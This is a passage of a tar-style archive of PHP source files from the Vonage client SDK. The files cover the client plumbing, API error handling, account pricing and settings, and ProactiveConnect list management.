Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use RuntimeException; use Vonage\Client; trait ClientAwareTrait { /** * @var Client */ protected $client; public function setClient(Client $client): self { $this->client = $client; return $this; } public function getClient(): ?Client { if (isset($this->client)) { return $this->client; } throw new RuntimeException('Vonage\Client not set'); } } src/Client/Callback/Callback.php 0000644 00000003011 15107326713 0012452 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Callback; use InvalidArgumentException; use RuntimeException; use function array_diff; use function array_keys; use function array_merge; use function implode; use function strtolower; class Callback implements CallbackInterface { public const ENV_ALL = 'all'; public const ENV_POST = 'post'; public const ENV_GET = 'get'; /** * @var array */ protected $expected = []; /** * @var array */ protected $data; public function __construct(array $data) { $keys = array_keys($data); $missing = array_diff($this->expected, $keys); if ($missing) { throw new RuntimeException('missing expected callback keys: ' . implode(', ', $missing)); } $this->data = $data; } public function getData(): array { return $this->data; } /** * @return Callback|callable */ public static function fromEnv(string $source = self::ENV_ALL) { $data = match (strtolower($source)) { 'post' => $_POST, 'get' => $_GET, 'all' => array_merge($_GET, $_POST), default => throw new InvalidArgumentException('invalid source: ' . $source), }; return new static($data); } } src/Client/Callback/CallbackInterface.php 0000644 00000000534 15107326714 0014303 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Callback; interface CallbackInterface { public function getData(); } src/Client/ClientAwareInterface.php 0000644 00000000572 15107326714 0013313 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use Vonage\Client; interface ClientAwareInterface { public function setClient(Client $client); } src/Client/APIClient.php 0000644 00000000537 15107326714 0011045 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; interface APIClient { public function getAPIResource(): APIResource; } src/Client/Factory/FactoryInterface.php 0000644 00000001165 15107326714 0014132 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Factory; /** * Interface FactoryInterface * * Factor create API clients (clients specific to single API, that leverages Vonage\Client for HTTP communication and * common functionality). */ interface FactoryInterface { public function hasApi(string $api): bool; public function getApi(string $api); public function make(string $key); } src/Client/Factory/MapFactory.php 0000644 00000005461 15107326714 0012752 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Factory; use Psr\Container\ContainerInterface; use Psr\Log\LoggerInterface; use RuntimeException; use Vonage\Client; use Vonage\Logger\LoggerAwareInterface; use function is_callable; use function sprintf; class MapFactory implements FactoryInterface, ContainerInterface { /** * Map of instances. * * @var array */ protected $cache = []; /** * @param mixed[] $map */ public function __construct( /** * Map of api namespaces to classes. */ protected $map, /** * Vonage Client */ protected Client $client ) { } /** * @param string $id * * @noinspection PhpMissingParamTypeInspection */ public function has($id): bool { return isset($this->map[$id]); } /** * @deprecated Use has() instead */ public function hasApi(string $api): bool { return $this->has($api); } /** * @param string $id * * @noinspection PhpMissingParamTypeInspection */ public function get($id) { if (isset($this->cache[$id])) { return $this->cache[$id]; } $instance = $this->make($id); $this->cache[$id] = $instance; return $instance; } public function getClient(): Client { return $this->client; } /** * @deprecated Use get() instead */ public function getApi(string $api) { return $this->get($api); } public function make($key) { if (!$this->has($key)) { throw new RuntimeException( sprintf( 'no map defined for `%s`', $key ) ); } if (is_callable($this->map[$key])) { $instance = $this->map[$key]($this); } else { $class = $this->map[$key]; $instance = new $class(); if (is_callable($instance)) { $instance = $instance($this); } } if ($instance instanceof Client\ClientAwareInterface) { $instance->setClient($this->client); } if ($instance instanceof LoggerAwareInterface && $this->has(LoggerInterface::class)) { $instance->setLogger($this->get(LoggerInterface::class)); } return $instance; } public function set($key, $value): void { $this->map[$key] = $value; if (!is_callable($value)) { $this->cache[$key] = $value; } } } src/Client/Response/Error.php 0000644 00000001653 15107326715 0012165 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Response; class Error extends Response { public function __construct(array $data) { //normalize the data if (isset($data['error_text'])) { $data['error-text'] = $data['error_text']; } $this->expected = ['status', 'error-text']; parent::__construct($data); } public function isError(): bool { return true; } public function isSuccess(): bool { return false; } public function getCode(): int { return (int)$this->data['status']; } public function getMessage(): string { return (string)$this->data['error-text']; } } src/Client/Response/AbstractResponse.php 0000644 00000001274 15107326715 0014355 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Response; abstract class AbstractResponse implements ResponseInterface { /** * @var array */ protected $data; public function getData(): array { return $this->data; } public function isSuccess(): bool { return isset($this->data['status']) && (int)$this->data['status'] === 0; } public function isError(): bool { return !$this->isSuccess(); } } src/Client/Response/ResponseInterface.php 0000644 00000000661 15107326715 0014511 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Response; interface ResponseInterface { public function getData(): array; public function isError(): bool; public function isSuccess(): bool; } src/Client/Response/Response.php 0000644 00000001561 15107326715 0012670 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Response; use RuntimeException; use function array_diff; use function array_keys; use function implode; class Response extends AbstractResponse { /** * Allow specific responses to easily define required parameters. * * @var array */ protected $expected = []; public function __construct(array $data) { $keys = array_keys($data); $missing = array_diff($this->expected, $keys); if ($missing) { throw new RuntimeException('missing expected response keys: ' . implode(', ', $missing)); } $this->data = $data; } } src/Client/Request/AbstractRequest.php 0000644 00000001042 15107326716 0014033 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Request; use function array_filter; abstract class AbstractRequest implements RequestInterface { /** * @var array */ protected $params = []; public function getParams(): array { return array_filter($this->params, 'is_scalar'); } } src/Client/Request/RequestInterface.php 0000644 00000000613 15107326716 0014173 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Request; interface RequestInterface { public function getParams(): array; public function getURI(): string; } src/Client/Request/WrapResponseInterface.php 0000644 00000000701 15107326716 0015171 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client\Request; use Vonage\Client\Response\ResponseInterface; interface WrapResponseInterface { public function wrapResponse(ResponseInterface $response): ResponseInterface; } src/Client/APIExceptionHandler.php 0000644 00000005213 15107326716 0013061 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Client; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use function is_string; use function json_decode; use function sprintf; class APIExceptionHandler { /** * Format to use for the rfc7807 formatted errors * * @var string */ protected $rfc7807Format = "%s: %s. See %s for more information"; public function setRfc7807Format(string $format): void { $this->rfc7807Format = $format; } /** * @throws Exception\Exception * * @return Exception\Request|Exception\Server */ public function __invoke(ResponseInterface $response, RequestInterface $request) { $body = json_decode($response->getBody()->getContents(), true); $response->getBody()->rewind(); $status = (int)$response->getStatusCode(); // Error responses aren't consistent. Some are generated within the // proxy and some are generated within voice itself. This handles // both cases // This message isn't very useful, but we shouldn't ever see it $errorTitle = 'Unexpected error'; if (isset($body['title'])) { // Have to do this check to handle VAPI errors if (isset($body['type']) && is_string($body['type'])) { $errorTitle = sprintf( $this->rfc7807Format, $body['title'], $body['detail'], $body['type'] ); } else { $errorTitle = $body['title']; } } if (isset($body['error_title'])) { $errorTitle = $body['error_title']; } if (isset($body['error-code-label'])) { $errorTitle = $body['error-code-label']; } if (isset($body['description'])) { $errorTitle = $body['description']; } if ($status >= 400 && $status < 500) { $e = new Exception\Request($errorTitle, $status); @$e->setRequest($request); @$e->setResponse($response); } elseif ($status >= 500 && $status < 600) { $e = new Exception\Server($errorTitle, $status); @$e->setRequest($request); @$e->setResponse($response); } else { $e = new Exception\Exception('Unexpected HTTP Status Code'); throw $e; } return $e; } } src/ApiErrorHandler.php 0000644 00000003357 15107326716 0011105 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage; use Vonage\Client\Exception\Request as RequestException; use Vonage\Client\Exception\Server as ServerException; use Vonage\Client\Exception\Validation as ValidationException; class ApiErrorHandler { /** * @param string|int $statusCode * * @throws RequestException * @throws ServerException * @throws ValidationException */ public static function check(array $body, $statusCode): void { $statusCodeType = (int)($statusCode / 100); // If it's ok, we can continue if ($statusCodeType === 2) { return; } // Build up our error message $errorMessage = $body['title']; if (isset($body['detail']) && $body['detail']) { $errorMessage .= ': ' . $body['detail'] . '.'; } else { $errorMessage .= '.'; } $errorMessage .= ' See ' . $body['type'] . ' for more information'; // If it's a 5xx error, throw an exception if ($statusCodeType === 5) { throw new ServerException($errorMessage, $statusCode); } // Otherwise it's a 4xx, so we may have more context for the user // If it's a validation error, share that information if (isset($body['invalid_parameters'])) { throw new ValidationException($errorMessage, $statusCode, null, $body['invalid_parameters']); } // Otherwise throw a normal error throw new RequestException($errorMessage, $statusCode); } } src/Account/VoicePrice.php 0000644 00000000621 15107326717 0011500 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; class VoicePrice extends Price { /** * @var string */ protected $priceMethod = 'getOutboundVoicePrice'; } src/Account/ClientFactory.php 0000644 00000001631 15107326717 0012220 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\BasicHandler; use Vonage\Client\Credentials\Handler\BasicQueryHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { /** @var APIResource $accountApi */ $accountApi = $container->make(APIResource::class); $accountApi ->setBaseUrl($accountApi->getClient()->getRestUrl()) ->setIsHAL(false) ->setBaseUri('/account') ->setAuthHandler(new BasicQueryHandler()) ; return new Client($accountApi); } } src/Account/Client.php 0000644 00000013702 15107326717 0010672 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Psr\Http\Client\ClientExceptionInterface; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Client\Exception as ClientException; use Vonage\Client\Exception\Request as ClientRequestException; use Vonage\Entity\Filter\KeyValueFilter; use function count; use function is_null; use function json_decode; /** * @todo Unify the exception handling to avoid duplicated code and logic (ie: getPrefixPricing()) */ class Client implements APIClient { public function __construct(protected ?APIResource $accountAPI = null) { } public function getAPIResource(): APIResource { return clone $this->accountAPI; } /** * Returns pricing based on the prefix requested * * @return array<PrefixPrice> */ public function getPrefixPricing($prefix): array { $api = $this->getAPIResource(); $api->setBaseUri('/account/get-prefix-pricing/outbound'); $api->setCollectionName('prices'); $data = $api->search(new KeyValueFilter(['prefix' => $prefix])); if (count($data) === 0) { return []; } // Multiple countries can match each prefix $prices = []; foreach ($data as $p) { $prefixPrice = new PrefixPrice(); $prefixPrice->fromArray($p); $prices[] = $prefixPrice; } return $prices; } /** * Get SMS Pricing based on Country * * @throws ClientExceptionInterface * @throws ClientRequestException * @throws ClientException\Exception * @throws ClientException\Server */ public function getSmsPrice(string $country): SmsPrice { $body = $this->makePricingRequest($country, 'sms'); $smsPrice = new SmsPrice(); $smsPrice->fromArray($body); return $smsPrice; } /** * Get Voice pricing based on Country * * @throws ClientExceptionInterface * @throws ClientRequestException * @throws ClientException\Exception * @throws ClientException\Server */ public function getVoicePrice(string $country): VoicePrice { $body = $this->makePricingRequest($country, 'voice'); $voicePrice = new VoicePrice(); $voicePrice->fromArray($body); return $voicePrice; } /** * @throws ClientRequestException * @throws ClientException\Exception * @throws ClientException\Server * @throws ClientExceptionInterface * * @todo This should return an empty result instead of throwing an Exception on no results */ protected function makePricingRequest($country, $pricingType): array { $api = $this->getAPIResource(); $api->setBaseUri('/account/get-pricing/outbound/' . $pricingType); $results = $api->search(new KeyValueFilter(['country' => $country])); $pageData = $results->getPageData(); if (is_null($pageData)) { throw new ClientException\Server('No results found'); } return $pageData; } /** * Gets the accounts current balance in Euros * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Server * * @todo This needs further investigated to see if '' can even be returned from this endpoint */ public function getBalance(): Balance { $data = $this->getAPIResource()->get('get-balance', [], ['accept' => 'application/json']); if (is_null($data)) { throw new ClientException\Server('No results found'); } return new Balance($data['value'], $data['autoReload']); } /** * @throws ClientExceptionInterface * @throws ClientException\Exception */ public function topUp($trx): void { $api = $this->getAPIResource(); $api->setBaseUri('/account/top-up'); $api->submit(['trx' => $trx]); } /** * Return the account settings * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Server */ public function getConfig(): Config { $api = $this->getAPIResource(); $api->setBaseUri('/account/settings'); $body = $api->submit(); if ($body === '') { throw new ClientException\Server('Response was empty'); } $body = json_decode($body, true); return new Config( $body['mo-callback-url'], $body['dr-callback-url'], $body['max-outbound-request'], $body['max-inbound-request'], $body['max-calls-per-second'] ); } /** * Update account config * * @throws ClientExceptionInterface * @throws ClientException\Exception * @throws ClientException\Server */ public function updateConfig(array $options): Config { // supported options are SMS Callback and DR Callback $params = []; if (isset($options['sms_callback_url'])) { $params['moCallBackUrl'] = $options['sms_callback_url']; } if (isset($options['dr_callback_url'])) { $params['drCallBackUrl'] = $options['dr_callback_url']; } $api = $this->getAPIResource(); $api->setBaseUri('/account/settings'); $rawBody = $api->submit($params); if ($rawBody === '') { throw new ClientException\Server('Response was empty'); } $body = json_decode($rawBody, true); return new Config( $body['mo-callback-url'], $body['dr-callback-url'], $body['max-outbound-request'], $body['max-inbound-request'], $body['max-calls-per-second'] ); } } src/Account/Balance.php 0000644 00000002027 15107326717 0010777 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class Balance implements ArrayHydrateInterface { /** * @var array */ protected array $data; public function __construct($balance, $autoReload) { $this->data['balance'] = $balance; $this->data['auto_reload'] = $autoReload; } public function getBalance() { return $this->data['balance']; } public function getAutoReload() { return $this->data['auto_reload']; } public function fromArray(array $data): void { $this->data = [ 'balance' => $data['value'], 'auto_reload' => $data['autoReload'] ]; } public function toArray(): array { return $this->data; } } src/Account/Config.php 0000644 00000005215 15107326720 0010653 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use function is_null; class Config implements ArrayHydrateInterface { /** * @var array<string, mixed> */ protected $data = []; /** * @param string|int|null $max_outbound_request * @param string|int|null $max_inbound_request * @param string|int|null $max_calls_per_second */ public function __construct( ?string $sms_callback_url = null, ?string $dr_callback_url = null, $max_outbound_request = null, $max_inbound_request = null, $max_calls_per_second = null ) { if (!is_null($sms_callback_url)) { $this->data['sms_callback_url'] = $sms_callback_url; } if (!is_null($dr_callback_url)) { $this->data['dr_callback_url'] = $dr_callback_url; } if (!is_null($max_outbound_request)) { $this->data['max_outbound_request'] = $max_outbound_request; } if (!is_null($max_inbound_request)) { $this->data['max_inbound_request'] = $max_inbound_request; } if (!is_null($max_calls_per_second)) { $this->data['max_calls_per_second'] = $max_calls_per_second; } } public function getSmsCallbackUrl(): ?string { return $this->data['sms_callback_url']; } public function getDrCallbackUrl(): ?string { return $this->data['dr_callback_url']; } /** * @return string|int|null */ public function getMaxOutboundRequest() { return $this->data['max_outbound_request']; } /** * @return string|int|null */ public function getMaxInboundRequest() { return $this->data['max_inbound_request']; } /** * @return string|int|null */ public function getMaxCallsPerSecond() { return $this->data['max_calls_per_second']; } public function fromArray(array $data): void { $this->data = [ 'sms_callback_url' => $data['sms_callback_url'], 'dr_callback_url' => $data['dr_callback_url'], 'max_outbound_request' => $data['max_outbound_request'], 'max_inbound_request' => $data['max_inbound_request'], 'max_calls_per_second' => $data['max_calls_per_second'], ]; } public function toArray(): array { return $this->data; } } src/Account/SmsPrice.php 0000644 00000000615 15107326720 0011172 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; class SmsPrice extends Price { /** * @var string */ protected $priceMethod = 'getOutboundSmsPrice'; } src/Account/Price.php 0000644 00000007516 15107326720 0010516 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use JsonSerializable; use RuntimeException; use Vonage\Entity\EntityInterface; use Vonage\Entity\Hydrator\ArrayHydrateInterface; use Vonage\Entity\JsonResponseTrait; use Vonage\Entity\JsonSerializableInterface; use Vonage\Entity\JsonSerializableTrait; use Vonage\Entity\JsonUnserializableInterface; use Vonage\Entity\NoRequestResponseTrait; use Vonage\Network; use function array_key_exists; use function ltrim; use function preg_replace; use function strtolower; abstract class Price implements EntityInterface, ArrayHydrateInterface { use JsonSerializableTrait; use NoRequestResponseTrait; use JsonResponseTrait; /** * @var array<string, mixed> */ protected $data = []; public function getCountryCode() { return $this->data['country_code']; } public function getCountryDisplayName(): ?string { return $this->data['country_display_name']; } public function getCountryName(): ?string { return $this->data['country_name']; } public function getDialingPrefix() { return $this->data['dialing_prefix']; } public function getDefaultPrice() { if (isset($this->data['default_price'])) { return $this->data['default_price']; } if (!array_key_exists('mt', $this->data)) { throw new RuntimeException( 'Unknown pricing for ' . $this->getCountryName() . ' (' . $this->getCountryCode() . ')' ); } return $this->data['mt']; } public function getCurrency(): ?string { return $this->data['currency']; } public function getNetworks() { return $this->data['networks']; } public function getPriceForNetwork($networkCode) { $networks = $this->getNetworks(); if (isset($networks[$networkCode])) { return $networks[$networkCode]->{$this->priceMethod}(); } return $this->getDefaultPrice(); } public function fromArray(array $data): void { // Convert CamelCase to snake_case as that's how we use array access in every other object $storage = []; foreach ($data as $k => $v) { $k = strtolower(ltrim(preg_replace('/[A-Z]([A-Z](?![a-z]))*/', '_$0', $k), '_')); // PrefixPrice fixes switch ($k) { case 'country': $k = 'country_code'; break; case 'name': $storage['country_display_name'] = $v; $storage['country_name'] = $v; break; case 'prefix': $k = 'dialing_prefix'; break; } $storage[$k] = $v; } // Create objects for all the nested networks too $networks = []; if (isset($data['networks'])) { foreach ($data['networks'] as $n) { if (isset($n['code'])) { $n['networkCode'] = $n['code']; unset($n['code']); } if (isset($n['network'])) { $n['networkName'] = $n['network']; unset($n['network']); } $network = new Network($n['networkCode'], $n['networkName']); $network->fromArray($n); $networks[$network->getCode()] = $network; } } $storage['networks'] = $networks; $this->data = $storage; } public function toArray(): array { return $this->data; } } src/Account/PrefixPrice.php 0000644 00000001133 15107326720 0011661 0 ustar 00 <?php /** * Vonage Client Library for PHP * * @copyright Copyright (c) 2016-2022 Vonage, Inc. (http://vonage.com) * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0 */ declare(strict_types=1); namespace Vonage\Account; use Vonage\Client\Exception\Exception as ClientException; class PrefixPrice extends Price { protected $priceMethod = 'getPrefixPrice'; /** * @throws ClientException */ public function getCurrency(): ?string { throw new ClientException('Currency is unavailable from this endpoint'); } } src/ProactiveConnect/Objects/SalesforceList.php 0000644 00000005304 15107326720 0015632 0 ustar 00 <?php namespace Vonage\ProactiveConnect\Objects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class SalesforceList extends ListBaseObject implements ArrayHydrateInterface { protected ?string $description = null; protected ?array $tags = null; protected ?array $attributes = null; protected array $datasource = [ 'type' => 'salesforce', 'integration_id' => '', 'soql' => '' ]; public function __construct(protected string $name) { } public function getDescription(): ?string { return $this->description; } public function setDescription(?string $description): SalesforceList { $this->description = $description; return $this; } public function getTags(): ?array { return $this->tags; } public function setTags(?array $tags): SalesforceList { $this->tags = $tags; return $this; } public function getAttributes(): ?array { return $this->attributes; } public function setAttributes(?array $attributes): SalesforceList { $this->attributes = $attributes; return $this; } public function getDatasource(): array { return $this->datasource; } public function fromArray(array $data): static { return $this; } /** * @return string */ public function getName(): string { return $this->name; } public function setName(string $name): SalesforceList { $this->name = $name; return $this; } public function setSalesforceIntegrationId(string $integrationId): SalesforceList { $this->datasource['integration_id'] = $integrationId; return $this; } public function setSalesforceSoql(string $query): SalesforceList { $this->datasource['soql'] = $query; return $this; } public function toArray(): array { if (empty($this->getDatasource()['integration_id'])) { throw new \InvalidArgumentException('integration_id needs to be set on datasource on a Salesforce list'); } if (empty($this->getDatasource()['soql'])) { throw new \InvalidArgumentException('soql needs to be set on datasource on a Salesforce list'); } $returnArray = [ 'name' => $this->getName(), 'datasource' => $this->getDatasource(), 'description' => $this->getDescription() ?: null, 'tags' => $this->getTags() ?: null, 'attributes' => $this->getAttributes() ?: null ]; return array_filter($returnArray, function ($value) { return $value !== null; }); } } src/ProactiveConnect/Objects/ManualList.php 0000644 00000003657 15107326721 0014773 0 ustar 00 <?php namespace Vonage\ProactiveConnect\Objects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class ManualList extends ListBaseObject implements ArrayHydrateInterface { protected ?string $description = null; protected ?array $tags = null; protected ?array $attributes = null; protected array $datasource = ['type' => 'manual']; public function __construct(protected string $name) { } public function getDescription(): ?string { return $this->description; } public function setDescription(?string $description): ManualList { $this->description = $description; return $this; } public function getTags(): ?array { return $this->tags; } public function setTags(?array $tags): ManualList { $this->tags = $tags; return $this; } public function getAttributes(): ?array { return $this->attributes; } public function setAttributes(?array $attributes): ManualList { $this->attributes = $attributes; return $this; } public function getDatasource(): array { return $this->datasource; } public function fromArray(array $data): static { return $this; } /** * @return string */ public function getName(): string { return $this->name; } public function setName(string $name): ManualList { $this->name = $name; return $this; } public function toArray(): array { $returnArray = [ 'name' => $this->getName(), 'datasource' => $this->getDatasource(), 'description' => $this->getDescription() ?: null, 'tags' => $this->getTags() ?: null, 'attributes' => $this->getAttributes() ?: null ]; return array_filter($returnArray, function ($value) { return $value !== null; }); } } src/ProactiveConnect/Objects/ListItem.php 0000644 00000001166 15107326721 0014445 0 ustar 00 <?php namespace Vonage\ProactiveConnect\Objects; use Vonage\Entity\Hydrator\ArrayHydrateInterface; class ListItem implements ArrayHydrateInterface { public function __construct(protected array $data) { } public function set($name, $value): static { $this->data[$name] = $value; return $this; } public function get(string $name) { return $this->data[$name]; } public function fromArray(array $data): void { $this->data = $data; } public function toArray(): array { return [ 'data' => $this->data ]; } } src/ProactiveConnect/Objects/ListBaseObject.php 0000644 00000000125 15107326721 0015542 0 ustar 00 <?php namespace Vonage\ProactiveConnect\Objects; abstract class ListBaseObject { } src/ProactiveConnect/ClientFactory.php 0000644 00000001036 15107326721 0014064 0 ustar 00 <?php namespace Vonage\ProactiveConnect; use Psr\Container\ContainerInterface; use Vonage\Client\APIResource; use Vonage\Client\Credentials\Handler\KeypairHandler; class ClientFactory { public function __invoke(ContainerInterface $container): Client { $api = $container->make(APIResource::class); $api->setIsHAL(false) ->setErrorsOn200(false) ->setAuthHandler([new KeypairHandler()]) ->setBaseUrl('https://api-eu.vonage.com/v0.1/bulk/'); return new Client($api); } } src/ProactiveConnect/Client.php 0000644 00000010631 15107326722 0012536 0 ustar 00 <?php namespace Vonage\ProactiveConnect; use Laminas\Diactoros\Stream; use Vonage\Client\APIClient; use Vonage\Client\APIResource; use Vonage\Entity\IterableAPICollection; use Vonage\ProactiveConnect\Objects\ListBaseObject; use Vonage\ProactiveConnect\Objects\ListItem; class Client implements APIClient { public function __construct(protected APIResource $api) { } public function getAPIResource(): APIResource { return $this->api; } public function getLists(?int $page = null, ?int $pageSize = null): IterableAPICollection { $this->api->setCollectionName('lists'); $lists = $this->api->search(null, '/lists'); $lists->setPageIndexKey('page'); if ($page) { $lists->setPage($page); } if ($pageSize) { $lists->setSize($pageSize); } // This API has the potential to have a lot of data. Defaulting to // Auto advance off, you can override in the return object $lists->setAutoAdvance(false); return $lists; } public function createList(ListBaseObject $request): ?array { return $this->api->create($request->toArray(), '/lists'); } public function getListById(string $id) { return $this->api->get('lists/' . $id); } public function updateList(string $id, ListBaseObject $request): ?array { return $this->api->update('lists/' . $id, $request->toArray()); } public function deleteList(string $id): ?array { return $this->api->delete('lists/' . $id); } public function clearListItemsById(string $id): ?array { return $this->api->create([], '/lists/' . $id . '/clear'); } public function fetchListItemsById(string $id): ?array { return $this->api->create([], '/lists/' . $id . '/fetch'); } public function getItemsByListId(string $id, ?int $page = null, ?int $pageSize = null): IterableAPICollection { $this->api->setCollectionName('items'); $lists = $this->api->search(null, '/lists/' . $id . '/items'); $lists->setPageIndexKey('page'); if ($page) { $lists->setPage($page); } if ($pageSize) { $lists->setSize($pageSize); } // This API has the potential to have a lot of data. Defaulting to // Auto advance off, you can override in the return object $lists->setAutoAdvance(false); return $lists; } public function createItemOnListId(string $id, ListItem $listItem): ?array { return $this->api->create($listItem->toArray(), '/lists/' . $id . '/items'); } public function getListCsvFileByListId(string $id): mixed { return $this->api->get('lists/' . $id . '/items/download', [], ['Content-Type' => 'text/csv'], false); } public function getItemByIdandListId(string $itemId, string $listId) { return $this->api->get('lists/' . $listId . '/items/' . $itemId); } public function updateItemByIdAndListId(string $itemId, string $listId, ListItem $listItem): ?array { return $this->api->update('/lists' . $listId . '/items/' . $itemId, $listItem->toArray()); } public function deleteItemByIdAndListId(string $itemId, string $listId): ?array { return $this->api->delete('lists/' . $listId . '/items/' . $itemId); } public function uploadCsvToList(string $filename, string $listId) { $stream = new Stream(fopen($filename, 'r')); $multipart = [ [ 'name' => 'file', 'contents' => $stream, 'filename' => basename($filename) ] ]; return $this->api->create( [$multipart], '/lists/' . $listId . '/items/import', ['Content-Type' => 'multipart/form-data'] ); } public function getEvents(?int $page = null, ?int $pageSize = null) { $this->api->setCollectionName('events'); $lists = $this->api->search(null, '/events'); $lists->setPageIndexKey('page'); if ($page) { $lists->setPage($page); } if ($pageSize) { $lists->setSize($pageSize); } // This API has the potential to have a lot of data. Defaulting to // Auto advance off, you can override in the return object $lists->setAutoAdvance(false); return $lists; } } src/Numbers/Filter/AvailableNumbers.php 0000644 